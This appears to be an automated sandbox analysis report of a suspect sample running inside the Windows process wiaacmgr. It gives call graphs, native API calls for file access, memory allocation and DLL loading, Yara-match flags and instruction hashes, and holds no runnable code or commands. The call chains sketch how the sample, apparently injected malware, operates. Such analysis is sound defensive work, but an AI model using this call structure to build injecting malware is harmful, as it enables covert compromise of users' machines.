                                    execution_graph 86357 409f10 86359 40a223 86357->86359 86360 40a65a 86359->86360 86361 42b010 86359->86361 86362 42b036 86361->86362 86367 404160 86362->86367 86364 42b042 86366 42b07b 86364->86366 86370 425590 86364->86370 86366->86360 86368 40416d 86367->86368 86374 4131e0 86367->86374 86368->86364 86371 4255f2 86370->86371 86373 4255ff 86371->86373 86394 4119b0 86371->86394 86373->86366 86375 4131fd 86374->86375 86377 413213 86375->86377 86378 429d60 86375->86378 86377->86368 86379 429d7a 86378->86379 86380 425430 2 API calls 86379->86380 86382 429da0 86380->86382 86381 429da9 86381->86377 86382->86381 86387 428950 86382->86387 86385 42b3b0 RtlFreeHeap 86386 429e1f 86385->86386 86386->86377 86388 42896a 86387->86388 86391 46c2c0a 86388->86391 86389 428996 86389->86385 86392 46c2c1f LdrInitializeThunk 86391->86392 86393 46c2c11 86391->86393 86392->86389 86393->86389 86395 4119eb 86394->86395 86416 417df0 86395->86416 86397 4119f3 86398 411cd3 86397->86398 86427 42b490 86397->86427 86398->86373 86400 411a09 86401 42b490 RtlAllocateHeap 86400->86401 86402 411a1a 86401->86402 86403 42b490 RtlAllocateHeap 86402->86403 86404 411a2b 86403->86404 86430 415ea0 86404->86430 86406 411a38 86407 425430 2 API calls 86406->86407 86410 411a7b 86406->86410 86408 411a63 86407->86408 86409 425430 2 API calls 86408->86409 86409->86410 86414 411ac8 86410->86414 86440 416980 NtClose LdrInitializeThunk 86410->86440 86412 4144c0 LdrLoadDll 86413 411c7f 86412->86413 86436 427ed0 86413->86436 86414->86412 86417 417e1c 86416->86417 86441 417ce0 86417->86441 86420 417e61 86423 417e7d 86420->86423 86425 429300 NtClose 86420->86425 86421 417e49 86422 417e54 86421->86422 86424 429300 NtClose 86421->86424 86422->86397 86423->86397 86424->86422 86426 417e73 86425->86426 86426->86397 86452 429620 86427->86452 86429 42b4a8 86429->86400 86431 415eb6 86430->86431 86433 415ec0 86430->86433 86431->86406 86432 415fa6 86432->86406 86433->86432 86434 425430 2 API calls 86433->86434 86435 41602c 86434->86435 86435->86406 86437 427f32 86436->86437 86439 427f3f 86437->86439 86455 411cf0 86437->86455 86439->86398 86440->86414 86442 417dd6 86441->86442 86443 417cfa 86441->86443 86442->86420 86442->86421 86447 4289f0 86443->86447 86446 429300 NtClose 86446->86442 86448 428a0a 86447->86448 86451 46c35c0 LdrInitializeThunk 86448->86451 86449 417dca 86449->86446 86451->86449 86453 42963a 86452->86453 86454 42964b RtlAllocateHeap 86453->86454 86454->86429 86471 4180c0 86455->86471 86457 412266 86457->86439 86458 411d10 86458->86457 86475 4210b0 86458->86475 86461 411f24 86483 42c580 86461->86483 86462 411d6e 86462->86457 86478 42c450 86462->86478 86464 411f39 86466 4120d0 86464->86466 86468 411f86 86464->86468 86489 425620 6 API calls 86464->86489 86490 410810 LdrInitializeThunk 86466->86490 86468->86457 86491 425620 6 API calls 86468->86491 86492 410810 LdrInitializeThunk 86468->86492 86472 4180cd 86471->86472 86473 4180f3 86472->86473 86474 4180ec SetErrorMode 86472->86474 86473->86458 86474->86473 86493 42b320 86475->86493 86477 4210d1 86477->86462 86479 42c460 86478->86479 86480 42c466 86478->86480 86479->86461 86481 42b490 RtlAllocateHeap 86480->86481 86482 42c48c 86481->86482 86482->86461 86484 42c4f0 86483->86484 86485 42c54d 86484->86485 86486 42b490 RtlAllocateHeap 86484->86486 86485->86464 86487 42c52a 86486->86487 86488 42b3b0 RtlFreeHeap 86487->86488 86488->86485 86489->86464 86490->86468 86491->86468 86492->86468 86496 429460 86493->86496 86495 42b351 86495->86477 86497 42948e 86496->86497 86498 4294f8 86496->86498 86497->86495 86499 42950e NtAllocateVirtualMemory 86498->86499 86499->86495 86288 412700 86289 412725 86288->86289 86294 4144c0 86289->86294 86293 412780 86295 4144e4 86294->86295 86296 414520 LdrLoadDll 86295->86296 86297 412758 86295->86297 86296->86297 86297->86293 86298 416220 86297->86298 86299 416253 86298->86299 86300 416277 86299->86300 86305 428e50 86299->86305 86300->86293 86302 41629a 86302->86300 86309 429300 86302->86309 86304 41631c 86304->86293 86306 428e6d 86305->86306 86312 46c2ca0 LdrInitializeThunk 86306->86312 86307 428e99 86307->86302 86310 42931d 86309->86310 86311 42932e NtClose 86310->86311 86311->86304 86312->86307 86313 429160 86314 429207 86313->86314 86316 42918b 86313->86316 86315 42921d NtReadFile 86314->86315 86317 428900 86318 42891a 86317->86318 86321 46c2df0 LdrInitializeThunk 86318->86321 86319 428942 86321->86319 86322 421a80 86323 421a99 86322->86323 86332 425430 86323->86332 86325 421b29 86326 421ae1 86337 42b3b0 86326->86337 86329 421ab6 86329->86325 86329->86326 86330 421b24 86329->86330 86331 42b3b0 RtlFreeHeap 86330->86331 86331->86325 86333 425495 86332->86333 86334 4254cc 86333->86334 86340 421790 86333->86340 86334->86329 86336 4254ae 86336->86329 86352 429670 86337->86352 86339 421af1 86341 421732 86340->86341 86342 4217a4 86340->86342 86343 421734 86341->86343 86344 421748 86341->86344 86342->86336 86345 429300 NtClose 86343->86345 86346 429300 NtClose 86344->86346 86347 42173d 86345->86347 86348 421751 86346->86348 86347->86336 86351 42b4d0 RtlAllocateHeap 86348->86351 86350 42175c 86350->86336 86351->86350 86353 42968d 86352->86353 86354 42969e RtlFreeHeap 86353->86354 86354->86339 86500 428ff0 86501 4290a7 86500->86501 86503 42901f 86500->86503 86502 4290bd NtCreateFile 86501->86502 86509 42c4b0 86510 42b3b0 RtlFreeHeap 86509->86510 86511 42c4c5 86510->86511 86513 46c2ad0 LdrInitializeThunk

                                    Executed Functions

                                    Function 00409F10 Relevance: 19.2, Strings: 15, Instructions: 455COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 0 409f10-40a21c 1 40a223-40a22d 0->1 2 40a265-40a271 1->2 3 40a22f-40a249 1->3 6 40a273-40a294 2->6 7 40a296-40a2a0 2->7 4 40a250-40a252 3->4 5 40a24b-40a24f 3->5 8 40a263 4->8 9 40a254-40a25d 4->9 5->4 6->2 10 40a2b1-40a2bd 7->10 8->1 9->8 11 40a2ce-40a2df 10->11 12 40a2bf-40a2cc 10->12 13 40a2f0-40a2fc 11->13 12->10 15 40a2fe-40a30d 13->15 16 40a30f 13->16 15->13 17 40a316-40a31d 16->17 19 40a33e-40a348 17->19 20 40a31f-40a33c 17->20 21 40a359-40a365 19->21 20->17 22 40a367-40a376 21->22 23 40a378 21->23 22->21 25 40a37f-40a386 23->25 26 40a388-40a399 25->26 27 40a3af-40a3b3 25->27 28 40a3a0-40a3a2 26->28 29 40a39b-40a39f 26->29 30 40a3b5-40a3da 27->30 31 40a3dc-40a3e5 27->31 32 40a3a4-40a3aa 28->32 33 40a3ad 28->33 29->28 30->27 34 40a5d1-40a5d5 31->34 35 40a3eb-40a3ee 31->35 32->33 33->25 36 40a603-40a60d 34->36 37 40a5d7-40a601 34->37 38 40a3f4-40a3fe 35->38 39 40a61e-40a62a 36->39 37->34 40 40a400-40a41b 38->40 41 40a437-40a440 38->41 42 40a648-40a64f 39->42 43 40a62c-40a638 39->43 44 40a422-40a424 40->44 45 40a41d-40a421 40->45 46 40a442-40a463 41->46 47 40a465-40a474 41->47 52 40a722-40a72c 42->52 53 40a655 call 42b010 42->53 50 40a646 43->50 51 40a63a-40a640 43->51 54 40a435 44->54 55 40a426-40a42f 44->55 45->44 46->41 48 40a526-40a52a 47->48 49 40a47a-40a484 47->49 57 40a54b-40a555 48->57 58 40a52c-40a549 48->58 56 40a495-40a49f 49->56 50->39 51->50 60 40a760-40a76a 52->60 61 40a72e-40a74d 52->61 69 40a65a-40a664 53->69 54->38 55->54 63 40a4a1-40a4f1 56->63 64 40a4f3-40a4fa 56->64 65 40a566-40a572 57->65 58->48 68 40a77b-40a787 60->68 66 40a75e 61->66 67 40a74f-40a758 61->67 63->56 73 40a521 64->73 74 40a4fc-40a51f 64->74 75 40a574-40a583 65->75 76 40a585-40a599 65->76 66->52 67->66 70 40a797-40a7a1 68->70 71 40a789-40a795 68->71 77 40a675-40a681 69->77 81 40a7b2-40a7bc 70->81 71->68 73->34 74->64 75->65 82 40a5aa-40a5b6 76->82 79 40a683-40a696 77->79 80 40a698-40a6a2 77->80 79->77 86 40a6b3-40a6bf 80->86 88 40a816-40a826 81->88 89 40a7be-40a814 81->89 84 40a5b8-40a5ca 82->84 85 40a5cc 82->85 84->82 85->31 91 40a6c1-40a6cd 86->91 92 40a6cf-40a6d6 86->92 88->88 94 40a828-40a832 88->94 89->81 91->86 95 40a707-40a720 92->95 96 40a6d8-40a705 92->96 95->52 95->95 96->92
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: .<$/$$>4$B$EY$GM$OE$bz$m$v${'$}=$~S$4${
                                    • API String ID: 0-3547554346
                                    • Opcode ID: 41775e5e1beddaf9f10d9b0001a15bab82121fdb1772e49103635c6c99838351
                                    • Instruction ID: b2db6e032a2eef51696fee4208e76af25477cb16fc55940fd6cd595cc20ab84d
                                    • Opcode Fuzzy Hash: 41775e5e1beddaf9f10d9b0001a15bab82121fdb1772e49103635c6c99838351
                                    • Instruction Fuzzy Hash: F232CFB0D05229CBEB24CF45C994BEDBBB1BB44308F1081EAC449BB380D7795A99DF56
                                    Function 00428FF0 Relevance: 1.6, APIs: 1, Instructions: 101filenativeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                    • NtCreateFile.NTDLL(?,?,95F2829C,?,?,?,?,?,?,?,?), ref: 004290EE
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CreateFile
                                    • String ID:
                                    • API String ID: 823142352-0
                                    • Opcode ID: 403d6c11e80e34e3b20c2c782ba7e3b5670d557879b5b021526bb035d28198d1
                                    • Instruction ID: 274a4860084e39a3b7746fc633f24fb10e29e34b5dbf1ebcbdc4d9d33a4814a9
                                    • Opcode Fuzzy Hash: 403d6c11e80e34e3b20c2c782ba7e3b5670d557879b5b021526bb035d28198d1
                                    • Instruction Fuzzy Hash: BF3106B5A00608AFCB14DF99D881EDFB7F9EF88304F50820AF918A7340D734A951CBA5
                                    Function 00429160 Relevance: 1.6, APIs: 1, Instructions: 93filenativeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                    • NtReadFile.NTDLL(?,?,95F2829C,?,?,?,?,?,?), ref: 00429246
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FileRead
                                    • String ID:
                                    • API String ID: 2738559852-0
                                    • Opcode ID: 38c1c9000e0e260a7701a3c45f5b195247daeb9a86c1a4b46780e296f29564ca
                                    • Instruction ID: 0b819be0073de664c59c0be5af9e1cbcccb7dad53ccb88fc3d8230c29208f784
                                    • Opcode Fuzzy Hash: 38c1c9000e0e260a7701a3c45f5b195247daeb9a86c1a4b46780e296f29564ca
                                    • Instruction Fuzzy Hash: F631E7B5A00608AFDB14DF99D881EEFB7B9EF88314F10811AF918A7340D774A951CBA5
                                    Function 00429460 Relevance: 1.6, APIs: 1, Instructions: 81memorynativeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    APIs
                                    • NtAllocateVirtualMemory.NTDLL(00411D6E,?,95F2829C,00000000,00000004,00003000,?,?,?,?,?,00427F3F,00411D6E), ref: 0042952B
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: AllocateMemoryVirtual
                                    • String ID:
                                    • API String ID: 2167126740-0
                                    • Opcode ID: 2bbceb8921554b88ec8b0056fd5250fe635d015bda6bf6711729068ff1516bb6
                                    • Instruction ID: 2a57cdfa8a542dc64e067fc4bcc31e58ba68495f46b7742127065472b2b3be18
                                    • Opcode Fuzzy Hash: 2bbceb8921554b88ec8b0056fd5250fe635d015bda6bf6711729068ff1516bb6
                                    • Instruction Fuzzy Hash: 122139B5A00208AFDB10DF99D841EEF77B8EF89304F50410EFD08AB241D778A911CBA5
                                    Function 00429300 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 402 429300-42933c call 4014a0 call 42a540 NtClose
                                    APIs
                                    • NtClose.NTDLL(00421751,?,00000000,?,?,00421751,?,0000DB92), ref: 00429337
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Close
                                    • String ID:
                                    • API String ID: 3535843008-0
                                    • Opcode ID: ed876fddb32ad7787633b78cf56e248f1bc561828f9fb719b1b5e475ba6eaf79
                                    • Instruction ID: 64681ca7e8bdf993c8a9a5c8b2ad8a4e4c2ba74aa780fdbfb37b906a50130bd3
                                    • Opcode Fuzzy Hash: ed876fddb32ad7787633b78cf56e248f1bc561828f9fb719b1b5e475ba6eaf79
                                    • Instruction Fuzzy Hash: DDE08C322002247BD220EA6AEC41F9B7B6CDFC5764F51841FFA1CA7281C6B9B91187F5
                                    Function 046C2C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 073b93c7dbb7065a277b79aae93ea1d06eb6c65b899673ce3f85493b45bb86d2
                                    • Instruction ID: a63515213c207b2bfc99694c69b68c6e2ae2f110809b7ea73259e383316752cc
                                    • Opcode Fuzzy Hash: 073b93c7dbb7065a277b79aae93ea1d06eb6c65b899673ce3f85493b45bb86d2
                                    • Instruction Fuzzy Hash: E590023560149802F1107558840874A00158BD0305F5DC411A4525758E9695D9917121
                                    Function 046C2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 80ef510a8e012b79adfd4c22841d8b0702664740e705b43ae667a1720841237e
                                    • Instruction ID: 3009a51a65abd711d8a9c183ee09925140a2214a3ca09a4554e63265af7d52f9
                                    • Opcode Fuzzy Hash: 80ef510a8e012b79adfd4c22841d8b0702664740e705b43ae667a1720841237e
                                    • Instruction Fuzzy Hash: 4890023560141402F1007998540C64600158BE0305F59D011A5125655FD665D9916131
                                    Function 046C2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: f3ce3be470076d157ed9ea2918b6f71d26f487b1d80bb0a0a0546a2f8a81f6d9
                                    • Instruction ID: 664dc90ec33c2e5bc3311de9dd8e817aa7d09b859d90707ed4f9f4273cbffc1b
                                    • Opcode Fuzzy Hash: f3ce3be470076d157ed9ea2918b6f71d26f487b1d80bb0a0a0546a2f8a81f6d9
                                    • Instruction Fuzzy Hash: 2890023560141413F1117558450870700198BD0245F99C412A0525658EA656DA52A121
                                    Function 046C2FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 2d4214569fd5e488a3dc56fdd6d90efe59b4b82cbedbdf82a328a70ab1246597
                                    • Instruction ID: 5ba8c7a5d1eff77e1a5c78b6202a5089a7642784f94709f9173258afec69b23e
                                    • Opcode Fuzzy Hash: 2d4214569fd5e488a3dc56fdd6d90efe59b4b82cbedbdf82a328a70ab1246597
                                    • Instruction Fuzzy Hash: 4A900225611C1042F20079684C18B0700158BD0307F59C115A0255654DD915D9615521
                                    Function 046C2AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 955f5df7ee37dbd6d7509a7ad20639d6ebc9addaf842392f85fded064bf73aaf
                                    • Instruction ID: 6b16b6091f2482130ce256ee0da53f0ae6cdc5dccee5e7f1c5e672fc4bc7e24d
                                    • Opcode Fuzzy Hash: 955f5df7ee37dbd6d7509a7ad20639d6ebc9addaf842392f85fded064bf73aaf
                                    • Instruction Fuzzy Hash: 3E900229611410032105B958070850700568BD5355359C021F1116650DE621D9615121
                                    Function 046C2B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 67724dac0f7ad15f1734d0d05501b759edc1f2b845ce658c84168c7243039044
                                    • Instruction ID: 9f2e12793db9acba1e2288c421850d3c0544400d5bf1db5fcc697049151cacd8
                                    • Opcode Fuzzy Hash: 67724dac0f7ad15f1734d0d05501b759edc1f2b845ce658c84168c7243039044
                                    • Instruction Fuzzy Hash: F290026560241003610575584418616401A8BE0205B59C021E1115690ED525D9916125
                                    Function 046C2BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 9eb76acd2e48a4ca2de255d95c969db9eeef9f0501c38ed003aa561fa6a503d0
                                    • Instruction ID: a4c18f3a3dd36335b5021f41f24175e2c5cab4b8929fdcc5bc62ce3734096a63
                                    • Opcode Fuzzy Hash: 9eb76acd2e48a4ca2de255d95c969db9eeef9f0501c38ed003aa561fa6a503d0
                                    • Instruction Fuzzy Hash: 9390023560141802F1807558440864A00158BD1305F99C015A0126754EDA15DB5977A1
                                    Function 046C35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                    Download Yara Rule
                                    APIs
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2555701903.0000000004650000.00000040.00001000.00020000.00000000.sdmp, Offset: 04650000, based on PE: true
                                    • Associated: 00000009.00000002.2555701903.0000000004779000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.000000000477D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    • Associated: 00000009.00000002.2555701903.00000000047EE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_4650000_wiaacmgr.jbxd
                                    Similarity
                                    • API ID: InitializeThunk
                                    • String ID:
                                    • API String ID: 2994545307-0
                                    • Opcode ID: 56af0b83db4b7e8aac04be97e4fd041134f270cb7f8c197db6fc07d83260f823
                                    • Instruction ID: bd3c2c2a9324b1ea002f8fd7f7b722279bcde34d8fa02a8af32f83069b34853a
                                    • Opcode Fuzzy Hash: 56af0b83db4b7e8aac04be97e4fd041134f270cb7f8c197db6fc07d83260f823
                                    • Instruction Fuzzy Hash: DA900235A0551402F1007558451870610158BD0205F69C411A0525668E9795DA5165A2
                                    Function 004180FC Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 163COMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 98 4180fc-4180fe 99 4180e0-4180ea call 421ba0 98->99 100 418100-418161 call 42b450 call 413140 call 42a9a0 call 426770 98->100 106 4180f3-4180f6 99->106 107 4180ec-4180f1 SetErrorMode 99->107 113 418163-418169 100->113 114 41816a-41816e 100->114 107->106 115 418170-4181b5 call 42b5f0 call 42b3d0 114->115 116 4181b8-4181d5 call 42b5f0 114->116 115->116 121 4181d6-4181db 116->121 124 4181f1-418208 call 4066d0 121->124 125 4181dd-4181ef call 42b760 121->125 130 41820b-41820f 124->130 125->130 131 418211-418232 call 42b5f0 call 42b3d0 130->131 132 418235-418237 130->132 131->132 133 418239-41823b 132->133 134 4182aa-4182b5 132->134 136 4182b6-4182be 133->136 137 41823d-41825f call 425430 133->137 143 418261-418289 call 417f40 137->143 144 418297-41829b 137->144 146 4182a1-4182a9 143->146 148 41828b-418295 call 42b3b0 143->148 144->121 144->146 148->144
                                    APIs
                                    • SetErrorMode.KERNELBASE(00008003,?,?,00411D10,00427F3F,004255FF,00411CD3), ref: 004180F1
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ErrorMode
                                    • String ID: 6$O$S$\$s
                                    • API String ID: 2340568224-3854637164
                                    • Opcode ID: e3942bf18ba35cd8c9e996416cd7304ea6943b33a053a76bdd535425a3163ef7
                                    • Instruction ID: 0177781b73dea4ad293d8a13cddf76e58bae4fde581e44dfdca85742320e934f
                                    • Opcode Fuzzy Hash: e3942bf18ba35cd8c9e996416cd7304ea6943b33a053a76bdd535425a3163ef7
                                    • Instruction Fuzzy Hash: DD51F572E10118ABDB10DF95EC45AEFB378EF54718F44429EED0CA6101EB785A848BE5
                                    Function 00429670 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 183 429670-4296b4 call 4014a0 call 42a540 RtlFreeHeap
                                    APIs
                                    • RtlFreeHeap.NTDLL(00000000,00000004,00000000,?,00000007,00000000,00000004,00000000,?,000000F4), ref: 004296AF
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FreeHeap
                                    • String ID: n2A
                                    • API String ID: 3298025750-1369643599
                                    • Opcode ID: 1f56ba92fc7df899d249ca1d6ca7d7311b8b6384d87130adc805b8515eaf6677
                                    • Instruction ID: 3280cdcb41c58814edadc31d9766c59ffb31735ecaf0173b9f5400491f2bd5b2
                                    • Opcode Fuzzy Hash: 1f56ba92fc7df899d249ca1d6ca7d7311b8b6384d87130adc805b8515eaf6677
                                    • Instruction Fuzzy Hash: 6FE01AB6310314BBD614EE59EC42F9B77ACEFC9B54F40441AFE08A7242D674B9108BB9
                                    Function 004144C0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 372 4144c0-4144e9 call 42bf90 375 4144eb-4144ee 372->375 376 4144ef-4144fd call 42c590 372->376 379 41450d-41451e call 42aa30 376->379 380 4144ff-41450a call 42c830 376->380 385 414520-414534 LdrLoadDll 379->385 386 414537-41453a 379->386 380->379 385->386
                                    APIs
                                    • LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00414532
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_9_2_400000_wiaacmgr.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Load
                                    • String ID:
                                    • API String ID: 2234796835-0
                                    • Opcode ID: 919664c6ec93289ae22f137e9bf50d951b2176283fe432a251c119e73e98b3ef
                                    • Instruction ID: 5e92eda8865be74ee851cf0c62dfc0b10d0b0bb2ad449ec155530b0ddaa3ef2b
                                    • Opcode Fuzzy Hash: 919664c6ec93289ae22f137e9bf50d951b2176283fe432a251c119e73e98b3ef
                                    • Instruction Fuzzy Hash: BD0112B5E0010DBBDB10DAA5ED42FDEB7789F54308F404195E90897241F635EB54CB95
                                    Function 00429620 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON
                                    Download Yara Rule

                                    Control-flow Graph

                                    • Executed
                                    • Not Executed
                                    control_flow_graph 387 429620-429661 call 4014a0 call 42a540 RtlAllocateHeap
                                    APIs
                                    • RtlAllocateHeap.NTDLL(00000104,?,0042175C,?,?,0042175C,?,00000104,?,0000DB92), ref: 0042965C
                                    Memory Dump Source
                                    • Source File: 00000009.00000002.2554677862.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: false
